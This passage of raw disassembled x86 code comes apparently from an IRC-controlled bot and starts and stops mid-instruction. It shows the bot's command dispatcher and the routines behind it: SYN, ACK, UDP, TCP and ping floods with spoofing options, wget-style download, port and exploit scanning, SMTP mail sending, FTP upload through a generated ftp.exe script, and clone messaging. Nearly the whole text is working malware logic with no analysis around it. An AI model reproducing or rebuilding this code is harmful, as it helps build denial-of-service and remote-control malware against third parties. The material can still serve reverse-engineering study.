ecx test eax, eax pop ecx jz loc_412CAF push [ebp+arg_8] push offset aCom_execute ; "com.execute" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1C push [ebp+arg_8] push offset aCom_e ; "com.e" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412C1C push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1B push [ebp+arg_8] push offset aFf ; "ff" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412B1B push [ebp+arg_8] push offset aCom_rename ; "com.rename" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412AC9 push [ebp+arg_8] push offset aCom_mv ; "com.mv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412AC9 push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129C8 push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4129C8 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40F239 push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DD push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4128DD push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4127D8 push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DA push [ebp+arg_8] push offset aDdos_synf ; "ddos.synf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4126DA push [ebp+arg_8] push offset aDownload_wget ; "download.wget" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412599 push [ebp+arg_8] push offset aDownload_wg ; "download.wg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412599 push [ebp+arg_8] push offset aDaemon_redirec ; "daemon.redirect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249C push [ebp+arg_8] push offset aDaemon_rd ; "daemon.rd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249C push [ebp+arg_8] push offset aRoot_portscan ; "root.portscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123A9 push [ebp+arg_8] push offset aRoot_ps ; "root.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123A9 push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D4 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D4 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BC push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BC mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40F239 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aAd ; "ad" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aU ; "u" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aP ; "p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aDdos_tcpf ; "ddos.tcpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41189C lea eax, [ebp+var_3F8] push edi push eax call sub_4179C0 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_DB0] push eax call sub_4179C0 push [ebp+arg_10] lea eax, [ebp+var_BA8] push eax call sub_4179C0 push offset asc_42A3B4 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] call sub_40A7D7 push eax lea eax, [ebp+var_55C] push eax call sub_4179C0 add esp, 30h lea eax, [ebp+var_6EC] push eax push 101h call dword_43AD10 lea eax, [ebp+var_3F8] push eax call dword_43AE1C push 6 push 1 push 2 mov edi, eax call dword_43AE18 push [ebp+arg_18] mov esi, eax mov [ebp+var_2EC], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2E8], eax call dword_43AD98 mov [ebp+var_2EA], ax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_BA8] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_15B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4172B0 add esp, 1Ch lea eax, [ebp+var_2EC] push 10h push eax push esi call dword_43AD40 mov edi, 100h push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43ADB0 lea eax, [ebp+var_CAC] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_15B0] push eax push esi call dword_43ADE8 push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43ADB0 push esi call dword_43AE30 call dword_43ACF8 lea eax, [ebp+var_BA8] push eax push offset unk_431AA8 loc_411888: ; CODE XREF: sub_40EE72+3B51j ; sub_40EE72+3E38j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch jmp loc_413A62 ; --------------------------------------------------------------------------- loc_41189C: ; CODE XREF: sub_40EE72+28C0j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40F239 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F47 push 4 push esi call sub_40D000 pop ecx test eax, eax pop ecx jnz short loc_411906 push esi push offset dword_431A50 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411906: ; CODE XREF: sub_40EE72+2A87j call near ptr 26308B3h nop push eax call sub_417302 pop ecx call sub_41730C push 9 cdq pop ecx idiv ecx push edx call sub_41730C push 63h cdq pop ecx idiv ecx push edx call sub_41730C cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_CB0] push edx push eax lea eax, [ebp+var_BAC] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4172B0 lea eax, [ebp+var_BAC] push offset aAb ; "ab" push eax call sub_4179A8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40F239 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_417956 push [ebp+arg_24] call sub_417900 add esp, 20h lea eax, [ebp+var_BAC] push eax lea eax, [ebp+var_3F8] push offset aSS_4 ; "-s:%s" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_3F8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43AD0C test eax, eax push edi push esi jz short loc_4119D3 push offset dword_4319D8 jmp short loc_4119D8 ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_40EE72+2B58j push offset dword_43199C loc_4119D8: ; CODE XREF: sub_40EE72+2B5Fj call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_411A01 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_411A01: ; CODE XREF: sub_40EE72+2B71j lea eax, [ebp+var_2DC] push eax call sub_40BF6D loc_411A0D: ; CODE XREF: sub_40EE72+2BC0j lea eax, [ebp+var_BAC] push 4 push eax call sub_40D000 add esp, 0Ch test eax, eax jz loc_40F239 lea eax, [ebp+var_BAC] push eax call sub_419BBA jmp short loc_411A0D ; --------------------------------------------------------------------------- loc_411A34: ; CODE XREF: sub_40EE72+2A3Bj ; sub_40EE72+2A52j push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41781F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406AF8 loc_411A5D: ; CODE XREF: sub_40EE72+587Aj add esp, 24h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411A65: ; CODE XREF: sub_40EE72+2892j ; sub_40EE72+28A9j ; DATA XREF: ... mov esi, 80h push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A lea eax, [ebp+var_678] push eax push offset aSyn ; "syn" call sub_4176D0 add esp, 14h test eax, eax jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aAck ; "ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aRandom ; "random" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 push offset dword_431964 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411AC8: ; CODE XREF: sub_40EE72+2C1Cj ; sub_40EE72+2C33j ... push [ebp+arg_10] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_411BF4 push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_6F8] push [ebp+arg_18] push esi push eax call sub_41782A push [ebp+arg_0] call sub_41781F mov [ebp+var_574], eax add esp, 10h xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_56C], ebx mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_411B65 mov eax, offset aNormal ; "Normal" loc_411B65: ; CODE XREF: sub_40EE72+2CECj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_431910 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Ch push eax call sub_416D5C add esp, 2Ch mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_401D82 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411BE3 loc_411BCD: ; CODE XREF: sub_40EE72+2D6Fj cmp [ebp+var_560], ebx jnz loc_41460C push 32h call near ptr 2630F90h nop jmp short loc_411BCD ; --------------------------------------------------------------------------- loc_411BE3: ; CODE XREF: sub_40EE72+2D59j nop call near ptr 2670ADCh push eax push offset dword_4318C8 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_411BF4: ; CODE XREF: sub_40EE72+2C67j push offset dword_431880 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411BFE: ; CODE XREF: sub_40EE72+284Dj ; sub_40EE72+2864j ... cmp dword_43AE88, ebx mov esi, [ebp+arg_4] jnz loc_411D09 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F push 7Fh mov [ebp+var_310], eax push [ebp+var_8C] lea eax, [ebp+var_418] push eax call sub_418C10 add esp, 24h lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset unk_431828 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Eh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40AF86 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411CF8 loc_411CE6: ; CODE XREF: sub_40EE72+2E84j cmp [ebp+var_2FC], ebx jnz short loc_411D22 push 32h nop call near ptr 2630F90h jmp short loc_411CE6 ; --------------------------------------------------------------------------- loc_411CF8: ; CODE XREF: sub_40EE72+2E72j nop call near ptr 2670ADCh push eax push offset unk_4317E0 jmp loc_4128CC ; --------------------------------------------------------------------------- loc_411D09: ; CODE XREF: sub_40EE72+2D95j push 1FFh lea eax, [ebp+var_2DC] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_418C10 loc_411D1F: ; CODE XREF: sub_40EE72+3A66j add esp, 0Ch loc_411D22: ; CODE XREF: sub_40EE72+2E7Aj ; sub_40EE72+2FD2j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_411D2F: ; CODE XREF: sub_40EE72+567Ej lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push esi jmp loc_414629 ; --------------------------------------------------------------------------- loc_411D42: ; CODE XREF: sub_40EE72+2808j ; sub_40EE72+281Fj ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_310], eax jz short loc_411DA7 push esi call sub_41781F pop ecx mov [ebp+var_30C], eax jmp short loc_411DAD ; --------------------------------------------------------------------------- loc_411DA7: ; CODE XREF: sub_40EE72+2F24j mov [ebp+var_30C], ebx loc_411DAD: ; CODE XREF: sub_40EE72+2F33j push 7Fh lea eax, [ebp+var_418] push [ebp+var_8C] push eax call sub_418C10 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset dword_431770 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Fh push eax call sub_416D5C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40B112 push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_411E54 loc_411E3E: ; CODE XREF: sub_40EE72+2FE0j cmp [ebp+var_2FC], ebx jnz loc_411D22 push 32h call near ptr 2630F90h nop jmp short loc_411E3E ; --------------------------------------------------------------------------- loc_411E54: ; CODE XREF: sub_40EE72+2FCAj nop call near ptr 2670ADCh push eax push offset dword_431728 jmp loc_4128CC ; --------------------------------------------------------------------------- loc_411E65: ; CODE XREF: sub_40EE72+27DAj ; sub_40EE72+27F1j push 8 call sub_416FA4 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_41781F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 3E8h jle short loc_411EB8 push [ebp+arg_8] lea eax, [ebp+var_2DC] push offset unk_4316DC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_411EB8: ; CODE XREF: sub_40EE72+300Fj push edi call sub_41781F push [ebp+arg_18] mov [ebp+var_330], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F add esp, 0Ch cmp eax, 2 mov [ebp+var_32C], eax jnb short loc_411EF1 push 2 pop eax mov [ebp+var_32C], eax loc_411EF1: ; CODE XREF: sub_40EE72+3074j push 3Ch pop ecx cmp eax, ecx jbe short loc_411EFE mov [ebp+var_32C], ecx loc_411EFE: ; CODE XREF: sub_40EE72+3084j push [ebp+arg_10] call sub_41781F cmp eax, 270Fh pop ecx mov [ebp+var_328], eax jbe short loc_411F1E mov [ebp+var_328], 270Fh loc_411F1E: ; CODE XREF: sub_40EE72+30A0j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+arg_0], ebx jz short loc_411F74 mov [ebp+arg_24], offset dword_42ACB0 loc_411F37: ; CODE XREF: sub_40EE72+30E4j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411F5A add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_411F37 jmp short loc_411F74 ; --------------------------------------------------------------------------- loc_411F5A: ; CODE XREF: sub_40EE72+30D6j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_411F74: ; CODE XREF: sub_40EE72+30BCj ; sub_40EE72+30E6j cmp [ebp+var_330], ebx jz loc_414039 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_411FBB cmp byte ptr [edi], 23h jz short loc_411FBB push edi lea eax, [ebp+var_444] push 10h push eax call sub_41782A push 78h push edi call sub_418F50 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_304], eax jmp loc_41208F ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_40EE72+3117j ; sub_40EE72+311Cj cmp [ebp+var_9C7], bl jnz short loc_411FDD cmp [ebp+var_9C6], bl jnz short loc_411FDD cmp [ebp+var_9B6], bl jnz short loc_411FDD push offset unk_431698 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_411FDD: ; CODE XREF: sub_40EE72+314Fj ; sub_40EE72+3157j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43AD3C mov al, [ebp+var_9C7] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43AE24 push eax lea eax, [ebp+var_444] push eax call sub_418C10 add esp, 0Ch cmp [ebp+var_9B6], bl jz short loc_412089 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_41207D loc_41205B: ; CODE XREF: sub_40EE72+3209j cmp eax, ebx jz short loc_41207D mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_41205B loc_41207D: ; CODE XREF: sub_40EE72+31E7j ; sub_40EE72+31EBj mov [ebp+var_304], 1 jmp short loc_41208F ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_40EE72+31C1j mov [ebp+var_304], ebx loc_41208F: ; CODE XREF: sub_40EE72+3144j ; sub_40EE72+3215j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_334], eax mov eax, [ebp+var_4] mov [ebp+var_30C], eax mov eax, [ebp+var_8] mov [ebp+var_308], eax mov edi, 80h lea eax, [ebp+var_434] push edi push eax call sub_41782A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_4120E0 loc_4120CD: ; CODE XREF: sub_40EE72+3291j push esi loc_4120CE: ; CODE XREF: sub_40EE72+327Bj lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41210B ; --------------------------------------------------------------------------- loc_4120E0: ; CODE XREF: sub_40EE72+3259j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4120EF cmp byte ptr [eax], 23h jnz short loc_4120EF push eax jmp short loc_4120CE ; --------------------------------------------------------------------------- loc_4120EF: ; CODE XREF: sub_40EE72+3273j ; sub_40EE72+3278j mov esi, offset aF ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4120CD mov [ebp+var_3B4], bl loc_41210B: ; CODE XREF: sub_40EE72+326Cj cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_41211D mov eax, offset aSequential ; "Sequential" loc_41211D: ; CODE XREF: sub_40EE72+32A4j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_431614 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4121AB loc_412195: ; CODE XREF: sub_40EE72+3337j cmp [ebp+var_300], ebx jnz loc_41460C push 32h nop call near ptr 2630F90h jmp short loc_412195 ; --------------------------------------------------------------------------- loc_4121AB: ; CODE XREF: sub_40EE72+3321j nop call near ptr 2670ADCh push eax push offset unk_4315CC jmp loc_413BFD ; --------------------------------------------------------------------------- loc_4121BC: ; CODE XREF: sub_40EE72+279Aj ; sub_40EE72+27B1j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_440808[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 add esp, 14h mov esi, eax lea eax, [ebp+var_2DC] push esi push offset dword_4315C0 push eax call sub_4172B0 add esp, 0Ch cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx lea eax, [ebp+var_2DC] push ebx push eax push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_4405F0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_440808 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_4122A7: ; CODE XREF: sub_40EE72+3532j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4122D4: ; CODE XREF: sub_40EE72+276Cj ; sub_40EE72+2783j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_440808[eax], bl jz loc_414F47 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 14h cmp esi, ebx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_4405F0[eax], 73h jnz loc_414F47 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_440808 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_4122A7 ; --------------------------------------------------------------------------- loc_4123A9: ; CODE XREF: sub_40EE72+273Ej ; sub_40EE72+2755j push edi call dword_43ADD8 push [ebp+arg_18] mov [ebp+var_474], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_480], eax call sub_41781F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_47C], eax lea eax, [ebp+var_500] mov [ebp+var_504], esi push eax call sub_418C10 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_46C], edi push [ebp+var_47C] mov [ebp+var_468], eax push [ebp+var_480] push [ebp+var_474] call dword_43AE24 push eax lea eax, [ebp+var_2DC] push offset unk_431554 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 20h mov [ebp+var_478], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_504] push ebx push eax push offset byte_415E37 push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_478] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41248B loc_412475: ; CODE XREF: sub_40EE72+3617j cmp [ebp+var_464], ebx jnz loc_4144E5 push 32h nop call near ptr 2630F90h jmp short loc_412475 ; --------------------------------------------------------------------------- loc_41248B: ; CODE XREF: sub_40EE72+3601j nop call near ptr 2670ADCh push eax push offset unk_431508 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_40EE72+2710j ; sub_40EE72+2727j push edi call sub_41781F push 7Fh mov [ebp+var_314], eax push [ebp+arg_18] lea eax, [ebp+var_418] push eax call sub_418C10 push [ebp+arg_0] call sub_41781F mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_318], eax lea eax, [ebp+var_398] push [ebp+var_8C] mov [ebp+var_420], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_304], eax push [ebp+var_318] lea eax, [ebp+var_418] mov [ebp+var_308], edi push eax push [ebp+var_314] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_4314BC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 10h push eax call sub_416D5C add esp, 24h mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_407BDE push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_412588 loc_412572: ; CODE XREF: sub_40EE72+3714j cmp [ebp+var_300], ebx jnz loc_4144E5 push 32h nop call near ptr 2630F90h jmp short loc_412572 ; --------------------------------------------------------------------------- loc_412588: ; CODE XREF: sub_40EE72+36FEj nop call near ptr 2670ADCh push eax push offset unk_431468 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_412599: ; CODE XREF: sub_40EE72+26E2j ; sub_40EE72+26F9j push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 push 0FFh lea eax, [ebp+var_680] push [ebp+arg_18] push eax call sub_418C10 push [ebp+arg_0] mov [ebp+var_57C], ebx call sub_41781F mov [ebp+var_578], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_4125F5 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_4125FB ; --------------------------------------------------------------------------- loc_4125F5: ; CODE XREF: sub_40EE72+376Dj mov [ebp+var_570], ebx loc_4125FB: ; CODE XREF: sub_40EE72+3781j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_412612 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412618 ; --------------------------------------------------------------------------- loc_412612: ; CODE XREF: sub_40EE72+378Fj mov [ebp+var_574], ebx loc_412618: ; CODE XREF: sub_40EE72+379Ej movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_568], eax lea eax, [ebp+var_2DC] push edi push offset unk_43142C push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 16h push eax call sub_416D5C add 